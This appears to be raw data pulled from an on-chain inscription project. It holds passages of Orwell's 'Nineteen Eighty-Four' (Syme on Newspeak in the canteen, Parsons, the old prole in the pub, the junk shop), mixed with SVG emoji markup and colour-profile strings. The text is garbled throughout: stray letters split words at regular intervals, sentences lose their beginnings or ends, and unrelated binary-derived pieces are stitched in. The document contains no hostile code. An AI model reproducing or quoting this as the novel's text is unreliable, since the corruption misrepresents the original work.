've been using the same blade for six weeks," he added untruthfully.
The queue gave another jerk forward. As they halted he turned and faced Syme again. Each of them took a greasy metal tray from a pile at the edge of the counter.
"Did you go and see the prisoners hanged yesterday?" said Syme.
"I was working," said Winston indifferently. "I shall see it on the flicks, I suppose."
"A very inadequate substitute," said Syme.
His mocking eyes roved over Winston's face. "I know you," the eyes seemed to say, "I see M
through you. I know very well why you didn't go to see those prisoners hanged." In an intellectual way, Syme was venomously orthodox. He would talk with a disagreeable gloating satisfaction of helicopter raids on enemy villages, the trials and confessions of thought-criminals, the executions in the cellars of the Ministry of Love. Talking to him was largely a matter of getting him away from such subjects and entangling him, if possible, in the technicalities of Newspeak, on which he was authoritative and interestinM
g. Winston turned his head a little aside to avoid the scrutiny of the large dark eyes.
"It was a good hanging," said Syme reminiscently. "I think it spoils it when they tie their feet together. I like to see them kicking. And above all, at the end, the tongue sticking right out, and blue
a quite bright blue. That's the detail that appeals to me."
"Nex', please!" yelled the white-aproned prole with the ladle.
Winston and Syme pushed their trays beneath the grille. Onto each was dumped swiftly the regulation luM
a metal pannikin of pinkish-gray stew, a hunk of bread, a cube of cheese, a mug of milkless Victory Coffee, and one saccharine tablet.
"There's a table over there, under that telescreen," said Syme. "Let's pick up a gin on the way."
The gin was served out to them in handleless china mugs. They threaded their way across the crowded room and unpacked their trays onto the metal-topped table, on one corner of which someone had left a pool of stew, a filthy liquid mess that had the appearance of vomit. Winston tM
ook up his mug of gin, paused for an instant to collect his nerve, and gulped the oily-tasting stuff down. When he had winked the tears out of his eyes he suddenly discovered that he was hungry. He began swallowing spoonfuls of the stew, which, in among its general sloppiness, had cubes of spongy pinkish stuff which was probably a preparation of meat. Neither of them spoke again till they had emptied their pannikins. From the table at Winston's left, a little behind his back, someone was talking rapidly and continuM
ously, a harsh gabble almost like the quacking of a duck, which pierced the general uproar of the room.
"How is the dictionary getting on?" said Winston, raising his voice to overcome the noise.
"Slowly," said Syme. "I'm on the adjectives. It's fascinating."
He had brightened up immediately at the mention of Newspeak. He pushed his pannikin aside, took up his hunk of bread in one delicate hand and his cheese in the other, and leaned across the table so as to be able to speak without shouting.
ion is the definitive edition," he said. "We're getting the language into its final shape
the shape it's going to have when nobody speaks anything else. When we've finished with it, people like you will have to learn it all over again. You think, I dare say, that our chief job is inventing new words. But not a bit of it! We're destroying words
scores of them, hundreds of them, every day. We're cutting the language down to the bone. The Eleventh Edition won't contain a single word that will become obsolete beforM
He bit hungrily into his bread and swallowed a couple of mouthfuls, then continued speaking, with a sort of pedant's passion. His thin dark face had become animated, his eyes had lost their mocking expression and grown almost dreamy.
"It's a beautiful thing, the destruction of words. Of course the great wastage is in the verbs and adjectives, but there are hundreds of nouns that can be got rid of as well. It isn't only the synonyms; there are also the antonyms. After all, what justification is tM
here for a word which is simply the opposite of some other word? A word contains its opposite in itself. Take 'good,' for instance. If you have a word like 'good,' what need is there for a word like 'bad'? 'Ungood' will do just as well
better, because it's an exact opposite, which the other is not. Or again, if you want a stronger version of 'good,' what sense is there in having a whole string of vague useless words like 'excellent' and 'splendid' and all the rest of them? 'Plusgood' covers the meaning, or 'doublM
eplusgood' if you want something stronger still. Of course we use those forms already, but in the final version of Newspeak there'll be nothing else. In the end the whole notion of goodness and badness will be covered by only six words
in reality, only one word. Don't you see the beauty of that, Winston? It was B.B.'s idea originally, of course," he added as an afterthought.
A sort of vapid eagerness flitted across Winston's face at the mention of Big Brother. Nevertheless Syme immediately detected a certain lacM
"You haven't a real appreciation of Newspeak, Winston," he said almost sadly. "Even when you write it you're still thinking in Oldspeak. I've read some of those pieces that you write in the Times occasionally. They're good enough, but they're translations. In your heart you'd prefer to stick to Oldspeak, with all its vagueness and its useless shades of meaning. You don't grasp the beauty of the destruction of words. Do you know that Newspeak is the only language in the world whose vocabulary gets M
smaller every year?"
Winston did know that, of course. He smiled, sympathetically he hoped, not trusting himself to speak. Syme bit off another fragment of the dark-colored bread, chewed it briefly, and went on:
"Don't you see that the whole aim of Newspeak is to narrow the range of thought? In the end we shall make thoughtcrime literally impossible, because there will be no words in which to express it. Every concept that can ever be needed will be expressed by exactly one word, with its meaning rigidly defined M
and all its subsidiary meanings rubbed out and forgotten. Already, in the Eleventh Edition, we're not far from that point. But the process will still be continuing long after you and I are dead. Every year fewer and fewer words, and the range of consciousness always a little smaller. Even now, of course, there's no reason or excuse for committing thoughtcrime. It's merely a question of self-discipline, reality-control. But in the end there won't be any need even for that. The Revolution will be complete when the laM
nguage is perfect. Newspeak is Ingsoc and Ingsoc is Newspeak," he added with a sort of mystical satisfaction. "Has it ever occurred to you, Winston, that by the year 2050, at the very latest, not a single human being will be alive who could understand such a conversation as we are having now?"
" began Winston doubtfully, and then stopped.
It had been on the tip of his tongue to say "Except the proles," but he checked himself, not feeling fully certain that this remark was not in some way unorthodox. SymM
e, however, had divined what he was about to say.
"The proles are not human beings," he said carelessly. "By 2050
all real knowledge of Oldspeak will have disappeared. The whole literature of the past will have been destroyed. Chaucer, Shakespeare, Milton, Byron
they'll exist only in Newspeak versions, not merely changed into something different, but actually changed into something contradictory of what they used to be. Even the literature of the Party will change. Even the slogans will chaM
nge. How could you have a slogan like 'freedom is slavery' when the concept of freedom has been abolished? The whole climate of thought will be different. In fact there will be no thought, as we understand it now. Orthodoxy means not thinking
not needing to think. Orthodoxy is unconsciousness."
One of these days, thought Winston with sudden deep conviction, Syme will be vaporized. He is too intelligent. He sees too clearly and speaks too plainly. The Party does not like such people. One day he will disappear. ItM
 is written in his face.
Winston had finished his bread and cheese. He turned a little sideways in his chair to drink his mug of coffee. At the table on his left the man with the strident voice was still talking remorselessly away. A young woman who was perhaps his secretary, and who was sitting with her back to Winston, was listening to him and seemed to be eagerly agreeing with everything that he said. From time to time Winston caught some such remark as "I think you're so right, I do so agree with you," utteredM
 in a youthful and rather silly feminine voice. But the other voice never stopped for an instant, even when the girl was speaking. Winston knew the man by sight, though he knew no more about him than that he held some important post in the Fiction Department. He was a man of about thirty, with a muscular throat and a large, mobile mouth. His head was thrown back a little, and because of the angle at which he was sitting, his spectacles caught the light and presented to Winston two blank discs instead of eyes. What M
was slightly horrible was that from the stream of sound that poured out of his mouth, it was almost impossible to distinguish a single word. Just once Winston caught a phrase
"complete and final elimination of Goldsteinism"
jerked out very rapidly and, as it seemed, all in one piece, like a line of type cast solid. For the rest it was just a noise, a quack-quack-quacking. And yet, though you could not actually hear what the man was saying, you could not be in any doubt about its general nature. He might be denoM
uncing Goldstein and demanding sterner measures against thought-criminals and saboteurs, he might be fulminating against the atrocities of the Eurasian army, he might be praising Big Brother or the heroes on the Malabar front
it made no difference. Whatever it was, you could be certain that every word of it was pure orthodoxy, pure Ingsoc. As he watched the eyeless face with the jaw moving rapidly up and down, Winston had a curious feeling that this was not a real human being but some kind of dummy. It was not thM
e man's brain that was speaking; it was his larynx. The stuff that was coming out of him consisted of words, but it was not speech in the true sense: it was a noise uttered in unconsciousness, like the quacking of a duck.
Syme had fallen silent for a moment, and with the handle of his spoon was tracing patterns in the puddle of stew. The voice from the other table quacked rapidly on, easily audible in spite of the surrounding din.
"There is a word in Newspeak," said Syme. "I don't know whether you know it: duckspM
eak, to quack like a duck. It is one of those interesting words that have two contradictory meanings. Applied to an opponent, it is abuse; applied to someone you agree with, it is praise."
Unquestionably Syme will be vaporized, Winston thought again. He thought it with a kind of sadness, although well knowing that Syme despised him and slightly disliked him, and was fully capable of denouncing him as a thought-criminal if he saw any reason for doing so. There was something subtly wrong with Syme. There was somethiM
ng that he lacked: discretion, aloofness, a sort of saving stupidity. You could not say that he was unorthodox. He believed in the principles of Ingsoc, he venerated Big Brother, he rejoiced over victories, he hated heretics, not merely with sincerity but with a sort of restless zeal, an up-to-dateness of information, which the ordinary Party member did not approach. Yet a faint air of disreputability always clung to him. He said things that would have been better unsaid, he had read too many books, he frequented tM
he Chestnut Tree Caf
, haunt of painters and musicians. There was no law, not even an unwritten law, against frequenting the Chestnut Tree Caf
, yet the place was somehow ill-omened. The old, discredited leaders of the Party had been used to gather there before they were finally purged. Goldstein himself, it was said, had sometimes been seen there, years and decades ago. Syme's fate was not difficult to foresee. And yet it was a fact that if Syme grasped, even for three seconds, the nature of his, Winston's, secrM
et opinions, he would betray him instantly to the Thought Police. So would anybody else, for that matter, but Syme more than most. Zeal was not enough. Orthodoxy was unconsciousness.
Syme looked up. "Here comes Parsons," he said.
Something in the tone of his voice seemed to add, "that bloody fool." Parsons, Winston's fellow tenant at Victory Mansions, was in fact threading his way across the room
tubby, middle-sized man with fair hair and a froglike face. At thirty-five he was already putting on rolls of fat atM
 neck and waistline, but his movements were brisk and boyish. His whole appearance was that of a little boy grown large, so much so that although he was wearing the regulation overalls, it was almost impossible not to think of him as being dressed in the blue shorts, gray shirt, and red neckerchief of the Spies. In visualizing him one saw always a picture of dimpled knees and sleeves rolled back from pudgy forearms. Parsons did, indeed, invariably revert to shorts when a community hike or any other physical activitM
y gave him an excuse for doing so. He greeted them both with a cheery "Hullo, hullo!" and sat down at the table, giving off an intense smell of sweat. Beads of moisture stood out all over his pink face. His powers of sweating were extraordinary. At the Community Center you could always tell when he had been playing table tennis by the dampness of the bat handle. Syme had produced a strip of paper on which there was a long column of words, and was studying it with an ink pencil between his fingers.
king away in the lunch hour," said Parsons, nudging Winston. "Keenness, eh? What's that you've got there, old boy? Something a bit too brainy for me, I expect. Smith, old boy, I'll tell you why I'm chasing you. It's that sub you forgot to give me."
"Which sub is that?" said Winston, automatically feeling for money. About a quarter of one's salary had to be ear-marked for voluntary subscriptions, which were so numerous that it was difficult to keep track of them.
"For Hate Week. You know
the house-by-house fund.M
 I'm treasurer for our block. We're making an all-out effort
going to put on a tremendous show. I tell you, it won't be my fault if old Victory Mansions doesn't have the biggest outfit of flags in the whole street. Two dollars you promised me."
Winston found and handed over two creased and filthy notes, which Parsons entered in a small notebook, in the neat handwriting of the illiterate.
"By the way, old boy," he said, "I hear that little beggar of mine let fly at you with his catapult yesterday. I gave him a gM
ood dressing down for it. In fact I told him I'd take the catapult away if he does it again."
"I think he was a little upset at not going to the execution," said Winston.
what I mean to say, shows the right spirit, doesn't it? Mischievous little beggars they are, both of them, but talk about keenness! All they think about is the Spies, and the war, of course. D'you know what that little girl of mine did last Saturday, when her troop was on a hike out Berkhampstead way? She got two other girls to go wiM
th her, slipped off from the hike, and spent the whole afternoon following a strange man. They kept on his tail for two hours, right through the woods, and then, when they got into Amersham, handed him over to the patrols."
"What did they do that for?" said Winston, somewhat taken aback. Parsons went on triumphantly:
"My kid made sure he was some kind of enemy agent
might have been dropped by parachute, for instance. But here's the point, old boy. What do you think put her onto him in the first place? She spottM
ed he was wearing a funny kind of shoes
said she'd never seen anyone wearing shoes like that before. So the chances were he was a foreigner. Pretty smart for a nipper of seven, eh?"
"What happened to the man?" said Winston.
"Ah, that I couldn't say, of course. But I wouldn't be altogether surprised if
" Parsons made the motion of aiming a rifle, and clicked his tongue for the explosion.
"Good," said Syme abstractedly, without looking up from his strip of paper.
"Of course we can't afford to take chances," aM
greed Winston dutifully.
"What I mean to say, there is a war on," said Parsons.
As though in confirmation of this, a trumpet call floated from the telescreen just above their heads. However, it was not the proclamation of a military victory this time, but merely an announcement from the Ministry of Plenty.
"Comrades!" cried an eager youthful voice. "Attention, comrades! We have glorious news for you. We have won the battle for production! Returns now completed of the output of all classes of consumption goods shM
ow that the standard of living has risen by no less than twenty per cent over the past year. All over Oceania this morning there were irrepressible spontaneous demonstrations when workers marched out of factories and offices and paraded through the streets with banners voicing their gratitude to Big Brother for the new, happy life which his wise leadership has bestowed upon us. Here are some of the completed figures. Foodstuffs
The phrase "our new, happy life" recurred several times. It had been a favorite of M
late with the Ministry of Plenty. Parsons, his attention caught by the trumpet call, sat listening with a sort of gaping solemnity, a sort of edified boredom. He could not follow the figures, but he was aware that they were in some way a cause for satisfaction. He had lugged out a huge and filthy pipe which was already half full of charred tobacco. With the tobacco ration at a hundred grams a week it was seldom possible to fill a pipe up to the top. Winston was smoking a Victory Cigarette which he held carefully hoM
rizontal. The new ration did not start till tomorrow and he had only four cigarettes left. For the moment he had shut his ears to the remoter noises and was listening to the stuff that streamed out of the telescreen. It appeared that there had even been demonstrations to thank Big Brother for raising the chocolate ration to twenty grams a week. And only yesterday, he reflected, it had been announced that the ration was to be reduced to twenty grams a week. Was it possible that they could swallow that, after only twM
enty-four hours? Yes, they swallowed it. Parsons swallowed it easily, with the stupidity of an animal. The eyeless creature at the other table swallowed it fanatically, passionately, with a furious desire to track down, denounce, and vaporize anyone who should suggest that last week the ration had been thirty grams. Syme, too
in some more complex way, involving doublethink
Syme swallowed it. Was he, then, alone in the possession of a memory?
The fabulous statistics continued to pour out of the telescreen. As cM
ompared with last year there was more food, more clothes, more houses, more furniture, more cooking pots, more fuel, more ships, more helicopters, more books, more babies
more of everything except disease, crime, and insanity. Year by year and minute by minute, everybody and everything was whizzing rapidly upwards. As Syme had done earlier, Winston had taken up his spoon and was dabbling in the pale-colored gravy that dribbled across the table, drawing a long streak of it out into a pattern. He meditated resentfuM
lly on the physical texture of life. Had it always been like this? Had food always tasted like this? He looked round the canteen. A low-ceilinged, crowded room, its walls grimy from the contact of innumerable bodies; battered metal tables and chairs, placed so close together that you sat with elbows touching; bent spoons, dented trays, coarse white mugs; all surfaces greasy, grime in every crack; and a sourish, composite smell of bad gin and bad coffee and metallic stew and dirty clothes. Always in your stomach andM
 in your skin there was a sort of protest, a feeling that you had been cheated of something that you had a right to. It was true that he had no memories of anything greatly different. In any time that he could accurately remember, there had never been quite enough to eat, one had never had socks or underclothes that were not full of holes, furniture had always been battered and rickety, rooms underheated, tube trains crowded, houses falling to pieces, bread dark-colored, tea a rarity, coffee filthy-tasting, cigaretM
nothing cheap and plentiful except synthetic gin. And though, of course, it grew worse as one's body aged, was it not a sign that this was not the natural order of things, if one's heart sickened at the discomfort and dirt and scarcity, the interminable winters, the stickiness of one's socks, the lifts that never worked, the cold water, the gritty soap, the cigarettes that came to pieces, the food with its strange evil tastes? Why should one feel it to be intolerable unless one had some kind of aM
ncestral memory that things had once been different?
He looked round the canteen again. Nearly everyone was ugly, and would still have been ugly even if dressed otherwise than in the uniform blue overalls. On the far side of the room, sitting at a table alone, a small, curiously beetlelike man was drinking a cup of coffee, his little eyes darting suspicious glances from side to side. How easy it was, thought Winston, if you did not look about you, to believe that the physical type set up by the Party as an ideal
tall muscular youths and deep-bosomed maidens, blond-haired, vital, sunburnt, carefree
existed and even predominated. Actually, so far as he could judge, the majority of people in Airstrip One were small, dark, and ill-favored. It was curious how that beetlelike type proliferated in the Ministries: little dumpy men, growing stout very early in life, with short legs, swift scuttling movements, and fat inscrutable faces with very small eyes.h!
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36.0027" cy="36" r="23" fill="#B1CC33"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M27.2671,22.3665c-0.2383,1.5436-1.039,2.9427-2.2496,3.9289c-1.1065,1.1138-2.5889,1.7724-4.156,1.8514"/>
    <path fill="none" stroke="#000000" stroke-linecap="roundM
" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M44.7329,22.3665c0.2383,1.5436,1.039,2.9427,2.2496,3.9289c1.1065,1.1138,2.5889,1.7724,4.156,1.8514"/>
    <circle cx="36.0027" cy="36" r="23" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M30.0432,46.0186c1.2832-0.8191,3.8698-1.0381,5.9568-1.0381s4.6M
737,0.219,5.9568,1.0381"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M28.669,42.8384c1.8323,1.6694,1.8323,4.2345,0,5.9854"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M43.3308,42.8384c-1.8323,1.6694-1.8323,4.2345,0,5.9854"/>
    <path d="M30,33c0,1.6568-1.3448,3-3,3c-1.6553,0-3-1.3433-3-3c0-1.6552,1.3447-3,3-3C28.6552,30,30,31.3448,30,33"/>
   Lm <path d="M48,33c0,1.6568-1.3447,3-3,3s-3-1.3433-3-3c0-1.6552,1.3447-3,3-3S48,31.3448,48,33"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#D22F27" d="M13.8451,27.9329c0,0-2.047-1.4682-0.6019-3.1236c0,0-2.2788-2.0129-0.4281-3.9039 c0,0-1.2382-4.0732,2.1382-4.309c0,0-0.3899-4.0721,4.079-3.5985c0,0,2.5018-1.8015,4.3561,0.2489c0,0,2.5324-1.6079,3.8427,0.4026"/>
    <path fill="#D22F27" d="M58.1549,27.9329c0,0,2.047-1.4682,0.6019-3.1236c0,0,2.2788-2.0129,0.4281-3.9039 c0,0,1.2382-4.0732-2.1382-4.309c0,0,0.3899-4.0721-4.079-3.5985c0,0-2.5018-1.8015-4.35M
61,0.2489c0,0-2.5324-1.6079-3.8427,0.4026"/>
    <circle cx="36" cy="36" r="23" fill="#FFFFFF"/>
    <path fill="#D22F27" d="M49.8069,46.5463c0,0-1.58,8.43-13.81,8.76c-12.18-0.44-13.81-8.76-13.81-8.76 c-0.46-1.73-1.2401-5.76,2.28-3.81c2.7,1.5,5.38,4.37,11.53,4.55c6.16-0.18,8.83-3.05,11.53-4.55 C51.0469,40.7863,50.2769,44.8163,49.8069,46.5463z"/>
    <path fill="#FFFFFF" d="M35.9981,52.7344c-6.0618,0-9.9298-3.3099-10.9113-4.9147s0.5505-1.1552,0.866-1.003 c2.3137,1.1164,4.0412,2.6979,10.0453,2.9036 M35.9981,52.7344c6M
.0618,0,9.9298-3.3099,10.9113-4.9147s-0.5505-1.1552-0.866-1.003 c-2.3138,1.1164-4.0412,2.6979-10.0453,2.9036"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M23.4432,21.1746c2.8989-1.5543,6.1935-1.6129,8.6558,0"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M39.901,21.1M
746c2.8989-1.5543,6.1935-1.6129,8.6558,0"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M49.8078,46.5463c0,0-1.58,8.43-13.81,8.76c-12.18-0.44-13.81-8.76-13.81-8.76c-0.46-1.73-1.2401-5.76,2.28-3.81 c2.7,1.5,5.38,4.37,11.53,4.55c6.16-0.18,8.83-3.05,11.53-4.55C51.0478,40.7863,50.2778,44.8163,49.8078,46.5463z"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"M
 d="M13.8451,27.9329c0,0-2.047-1.4682-0.6019-3.1236c0,0-2.2788-2.0129-0.4281-3.9039c0,0-1.2382-4.0732,2.1382-4.309 c0,0-0.3899-4.0721,4.079-3.5985c0,0,2.5018-1.8015,4.3561,0.2489c0,0,2.5324-1.6079,3.8427,0.4026"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M58.1549,27.9329c0,0,2.0M
47-1.4682,0.6019-3.1236c0,0,2.2788-2.0129,0.4281-3.9039c0,0,1.2382-4.0732-2.1382-4.309 c0,0,0.3899-4.0721-4.079-3.5985c0,0-2.5018-1.8015-4.3561,0.2489c0,0-2.5324-1.6079-3.8427,0.4026"/>
    <ellipse cx="27.7711" cy="30.818" rx="3.5" ry="6.3045" fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2"/>
    <ellipse cx="44.2289" cy="30.8216" rx="3.5" ry="6.3045" fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2"/>
    <circle cx="36" cy="38.9779" r="2.7351"/>
  <g id="color-foregM
    <ellipse cx="27.7711" cy="30.818" rx="3.5" ry="6.3045" fill="none" stroke="#92D3F5" stroke-miterlimit="10" stroke-width="2.1"/>
    <ellipse cx="44.2289" cy="30.8216" rx="3.5" ry="6.3045" fill="none" stroke="#92D3F5" stroke-miterlimit="10" stroke-width="2.1"/>
    <path d="M30.2676,30.816c0,3.04-1.32,5.31-2.5,5.31s-2.5-2.27-2.5-5.31c0-3.03,1.32-5.3,2.5-5.3S30.2676,27.7861,30.2676,30.816z"/>
    <path d="M46.7276,30.8261c0,3.03-1.32,5.3-2.5,5.3s-2.5-2.27-2.5-5.3c0-3.04,1.32-5.31,2.5-5.31S46.7276,27.7861,Ld46.7276,30.8261z"/>
    <circle cx="36.0563" cy="38.9779" r="2.7351" fill="#D22F27"/>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
erence Viewing Condition in IEC61966-2.1
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
They could ship you off to Canada like cattle. They could sleep with your daughters if they chose. They could order you to be flogged with something called a cat-o'-nine-tails. You had to take your cap off when you passed them. Every capitalist went about with a gang oM
The old man brightened again.
"Lackeys!" he said. "Now there's a word I ain't 'eard since ever so long. Lackeys! That reg'lar takes me back, that does. I recollect
oh, donkey's years ago
I used to sometimes go to 'Yde Park of a Sunday afternoon to 'ear the blokes making speeches. Salvation Army, Roman Catholics, Jews, Indians
all sorts, there was. And there was one bloke
well, I couldn't give you 'is name, but a real powerful speaker, 'e was. 'E didn't 'alf give it 'em! 'Lackeys!' 'e sayM
s. 'Lackeys of the bourgeoisie! Flunkies of the ruling class!' Parasites
that was another of them. And 'yenas
'e def'nitely called 'em 'yenas. Of course 'e was referring to the Labour Party, you understand."
Winston had the feeling that they were talking at cross purposes.
"What I really wanted to know was this," he said. "Do you feel that you have more freedom now than you had in those days? Are you treated more like a human being? In the old days, the rich people, the people at the top
rds," put in the old man reminiscently.
"The House of Lords, if you like. What I am asking is, were these people able to treat you as an inferior, simply because they were rich and you were poor? Is it a fact, for instance, that you had to call them 'Sir' and take off your cap when you passed them?"
The old man appeared to think deeply. He drank off about a quarter of his beer before answering.
"Yes," he said. "They liked you to touch your cap to 'em. It showed respect, like. I didn't agree with it, myself, but M
I done it often enough. Had to, as you might say."
I'm only quoting what I've read in history books
was it usual for these people and their servants to push you off the pavement into the gutter?"
"One of em pushed me once," said the old man. "I recollect it as if it was yesterday. It was Boat Race night
terrible rowdy they used to get on Boat Race night
and I bumps into a young bloke on Shaftesbury Avenue. Quite the gent, 'e was
dress shirt, top 'at, black overcoat. 'E was kind of zigzM
agging across the pavement, and I bumps into 'im accidental-like. 'E says, 'Why can't you look where you're going?' 'e says. I says, 'Ju think you've bought the bleeding pavement?' 'E says, 'I'll twist your bloody 'ead off if you get fresh with me.' I says, 'You're drunk. I'll give you in charge in 'alf a minute,' I says. 'An if you'll believe me, 'e puts 'is 'and on my chest and gives me a shove as pretty near sent me under the wheels of a bus. Well, I was young in them days, and I was going to 'ave fetched 'im onM
A sense of helplessness took hold of Winston. The old man's memory was nothing but a rubbish heap of details. One could question him all day without getting any real information. The Party histories might still be true, after a fashion; they might even be completely true. He made a last attempt.
"Perhaps I have not made myself clear," he said. "What I'm trying to say is this. You have been alive a very long time; you lived half your life before the Revolution. In 1925, for instance, you were already gM
rown up. Would you say, from what you can remember, that life in 1925 was better than it is now, or worse? If you could choose, would you prefer to live then or now?"
The old man looked meditatively at the darts board. He finished up his beer, more slowly than before. When he spoke it was with a tolerant, philosophic air, as though the beer had mellowed him.
"I know what you expect me to say," he said. "You expect me to say as I'd sooner be young again. Most people'd say they'd sooner be young, if you arst 'em. YM
ou got your 'ealth and strength when you're young. When you get to my time of life you ain't never well. I suffer something wicked from my feet, and my bladder's jest terrible. Six and seven times a night it 'as me out of bed. On the other 'and there's great advantages in being a old man. You ain't got the same worries. No truck with women, and that's a great thing. I ain't 'ad a woman for near on thirty year, if you'd credit it. Nor wanted to, what's more."
Winston sat back against the window sill. It was no use M
going on. He was about to buy some more beer when the old man suddenly got up and shuffled rapidly into the stinking urinal at the side of the room. The extra half-liter was already working on him. Winston sat for a minute or two gazing at his empty glass, and hardly noticed when his feet carried him out into the street again. Within twenty years at the most, he reflected, the huge and simple question, "Was life better before the Revolution than it is now?" would have ceased once and for all to be answerable. But iM
n effect it was unanswerable even now, since the few scattered survivors from the ancient world were incapable of comparing one age with another. They remembered a million useless things, a quarrel with a workmate, a hunt for a lost bicycle pump, the expression on a long-dead sister's face, the swirls of dust on a windy morning seventy years ago; but all the relevant facts were outside the range of their vision. They were like the ant, which can see small objects but not large ones. And when memory failed and writtM
en records were falsified
when that happened, the claim of the Party to have improved the conditions of human life had got to be accepted, because there did not exist, and never again could exist, any standard against which it could be tested.
At this moment his train of thought stopped abruptly. He halted and looked up. He was in a narrow street, with a few dark little shops interspersed among dwelling houses. Immediately above his head there hung three discolored metal balls which looked as if they had once beM
en gilded. He seemed to know the place. Of course! He was standing outside the junk shop where he had bought the diary.
A twinge of fear went through him. It had been a sufficiently rash act to buy the book in the beginning, and he had sworn never to come near the place again. And yet the instant that he allowed his thoughts to wander, his feet had brought him back here of their own accord. It was precisely against suicidal impulses of this kind that he had hoped to guard himself by opening the diary. At the same M
time he noticed that although it was nearly twenty-one hours the shop was still open. With the feeling that he would be less conspicuous inside than hanging about on the pavement, he stepped through the doorway. If questioned, he could plausibly say that he was trying to buy razor blades.
The proprietor had just lighted a hanging oil lamp which gave off an unclean but friendly smell. He was a man of perhaps sixty, frail and bowed, with a long, benevolent nose, and mild eyes distorted by thick spectacles. His hair M
was almost white, but his eyebrows were bushy and still black. His spectacles, his gentle, fussy movements, and the fact that he was wearing an aged jacket of black velvet, gave him a vague air of intellectuality, as though he had been some kind of literary man, or perhaps a musician. His voice was soft, as though faded, and his accent less debased than that of the majority of proles.
"I recognized you on the pavement," he said immediately. "You're the gentleman that bought the young lady's keepsake album. That waM
s a beautiful bit of paper, that was. Cream laid, it used to be called. There's been no paper like that made for
oh, I dare say fifty years." He peered at Winston over the top of his spectacles. "Is there anything special I can do for you? Or did you just want to look round?"
"I was passing," said Winston vaguely. "I just looked in. I don't want anything in particular."
"It's just as well," said the other, "because I don't suppose I could have satisfied you." He made an apologetic gesture with his soft-palmed hM
and. "You see how it is; an empty shop, you might say. Between you and me, the antique trade's just about finished. No demand any longer, and no stock either. Furniture, china, glass
it's all been broken up by degrees. And of course the metal stuff's mostly been melted down. I haven't seen a brass candlestick in years."
The tiny interior of the shop was in fact uncomfortably full, but there was almost nothing in it of the slightest value. The floor space was very restricted, because all round the walls were stacM
ked innumerable dusty picture frames. In the window there were trays of nuts and bolts, worn-out chisels, penknives with broken blades, tarnished watches that did not even pretend to be in going order, and other miscellaneous rubbish. Only on a small table in the corner was there a litter of odds and ends
lacquered snuffboxes, agate brooches, and the like
which looked as though they might include something interesting. As Winston wandered toward the table his eye was caught by a round, smooth thing that gleamedM
 softly in the lamplight, and he picked it up.
It was a heavy lump of glass, curved on one side, flat on the other, making almost a hemisphere. There was a peculiar softness, as of rainwater, in both the color and the texture of the glass. At the heart of it, magnified by the curved surface, there was a strange, pink, convoluted object that recalled a rose or a sea anemone.
"What is it?" said Winston, fascinated.
"That's coral, that is," said the old man. "It must have come from the Indian Ocean. They used to kiM
nd of embed it in the glass. That wasn't made less than a hundred years ago. More, by the look of it."
"It's a beautiful thing," said Winston.
"It is a beautiful thing," said the other appreciatively. "But there's not many that'd say so nowadays." He coughed. "Now, if it so happened that you wanted to buy it, that'd cost you four dollars. I can remember when a thing like that would have fetched eight pounds, and eight pounds was
well, I can't work it out, but it was a lot of money. But who cares about genuine aM
even the few that's left?"
Winston immediately paid over the four dollars and slid the coveted thing into his pocket. What appealed to him about it was not so much its beauty as the air it seemed to possess of belonging to an age quite different from the present one. The soft, rainwatery glass was not like any glass that he had ever seen. The thing was doubly attractive because of its apparent uselessness, though he could guess that it must once have been intended as a paperweight. It was very hM
eavy in his pocket, but fortunately it did not make much of a bulge. It was a queer thing, even a compromising thing, for a Party member to have in his possession. Anything old, and for that matter anything beautiful, was always vaguely suspect. The old man had grown noticeably more cheerful after receiving the four dollars. Winston realized that he would have accepted three or even two.
"There's another room upstairs that you might care to take a look at," he said. "There's not much in it. Just a few pieces. We'lM
l do with a light if we're going upstairs."
He lit another lamp and, with bowed back, led the way slowly up the steep and worn stairs and along a tiny passage, into a room which did not give on the street but looked out on a cobbled yard and a forest of chimney pots. Winston noticed that the furniture was still arranged as though the room were meant to be lived in. There was a strip of carpet on the floor, a picture or two on the walls, and a deep, slatternly armchair drawn up to the fireplace. An old-fashioned glM
ass clock with a twelve-hour face was ticking away on the mantlepiece. Under the window, and occupying nearly a quarter of the room, was an enormous bed with the mattress still on it.
"We lived here till my wife died," said the old man half apologetically. "I'm selling the furniture off by little and little. Now that's a beautiful mahogany bed, or at least it would be if you could get the bugs out of it. But I dare say you'd find it a little bit cumbersome."
He was holding the lamp high up, so as to illumine the M
